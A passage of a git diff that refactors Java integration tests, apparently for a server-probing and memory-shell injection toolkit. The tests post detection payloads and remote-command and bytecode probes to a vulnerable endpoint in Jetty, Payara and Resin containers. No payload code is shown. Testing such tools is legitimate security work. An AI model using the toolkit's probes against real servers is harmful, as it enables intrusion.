com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.containsString; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -65,20 +59,20 @@ public class Jetty11ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.JETTY, data); + assertEquals(Server.Jetty, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V17); + ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V17); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V17); + ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V17); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java index be145e6f..7315b236 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; import lombok.SneakyThrows; @@ -51,6 +51,6 @@ public class Jetty12ee10ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.JETTY, data); + assertEquals(Server.Jetty, data); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java index 6a0f4ff7..0978f2c5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; import lombok.SneakyThrows; @@ -51,6 +51,6 @@ public class Jetty12ee8ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.JETTY, data); + assertEquals(Server.Jetty, data); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java index 2a2720ae..20a41774 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java @@ -1,13 +1,10 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; -import com.reajason.javaweb.probe.payload.response.JettyWriter; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import okhttp3.*; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -17,11 +14,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.containsString; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -57,6 +51,6 @@ public class Jetty12ee9ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.JETTY, data); + assertEquals(Server.Jetty, data); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java index a40544fe..f61918b1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java @@ -1,15 +1,12 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; -import com.reajason.javaweb.probe.payload.response.JettyWriter; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import okhttp3.*; import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; @@ -20,11 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.containsString; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -65,20 +59,20 @@ public class Jetty61ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.JETTY, data); + assertEquals(Server.Jetty, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java index 51c06faa..885df93f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java @@ -1,15 +1,12 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; -import com.reajason.javaweb.probe.payload.response.JettyWriter; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import okhttp3.*; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.containsString; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -59,20 +53,20 @@ public class Jetty75ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.JETTY, data); + assertEquals(Server.Jetty, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java index 565862e4..8f51b948 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java @@ -1,15 +1,12 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; -import com.reajason.javaweb.probe.payload.response.JettyWriter; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import okhttp3.*; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.containsString; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -59,20 +53,20 @@ public class Jetty76ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.JETTY, data); + assertEquals(Server.Jetty, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java index d35f1670..b09f1337 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java @@ -1,15 +1,12 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; -import com.reajason.javaweb.probe.payload.response.JettyWriter; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import okhttp3.*; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.containsString; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -59,20 +53,20 @@ public class Jetty81ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.JETTY, data); + assertEquals(Server.Jetty, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_7); + ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_7); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_7); + ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_7); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java index c1b51c97..6b189240 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java @@ -1,15 +1,12 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; -import com.reajason.javaweb.probe.payload.response.JettyWriter; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import okhttp3.*; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -21,9 +18,6 @@ import java.nio.file.Paths; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.containsString; -import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -60,20 +54,20 @@ public class Jetty92ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.JETTY, data); + assertEquals(Server.Jetty, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_7); + ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_7); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_7); + ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_7); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java index ea5d9a8e..e87a0ea3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java @@ -1,15 +1,12 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; -import com.reajason.javaweb.probe.payload.response.JettyWriter; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import okhttp3.*; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.containsString; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -59,20 +53,20 @@ public class Jetty93ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.JETTY, data); + assertEquals(Server.Jetty, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_8); + ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_8); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_8); + ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_8); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java index 14494ca2..fe5ae163 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java @@ -1,15 +1,12 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; -import com.reajason.javaweb.probe.payload.response.JettyWriter; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import okhttp3.*; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.containsString; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -59,20 +53,20 @@ public class Jetty94ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.JETTY, data); + assertEquals(Server.Jetty, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_8); + ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_8); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_8); + ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_8); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java index b3966bf2..3a84af08 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.payara; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.AfterAll; @@ -18,9 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -61,20 +59,20 @@ public class Payara5201ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.GLASSFISH, data); + assertEquals(Server.GlassFish, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java index 28181e6b..c2356242 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.payara; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -55,20 +53,20 @@ public class Payara520225ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.GLASSFISH, data); + assertEquals(Server.GlassFish, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java index 85b50d90..e6265786 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.payara; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -56,20 +54,20 @@ public class Payara620222ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.GLASSFISH, data); + assertEquals(Server.GlassFish, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11); + ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V11); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11); + ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V11); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java index 9349682a..eb013e56 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.resin; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -55,20 +53,20 @@ public class Resin3116ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.RESIN, data); + assertEquals(Server.Resin, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V1_8); + ProbeAssertion.responseCommandIsOk(url, Server.Resin, Opcodes.V1_8); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V1_8); + ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_8); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java index a17669c8..1e499d89 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.resin; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import 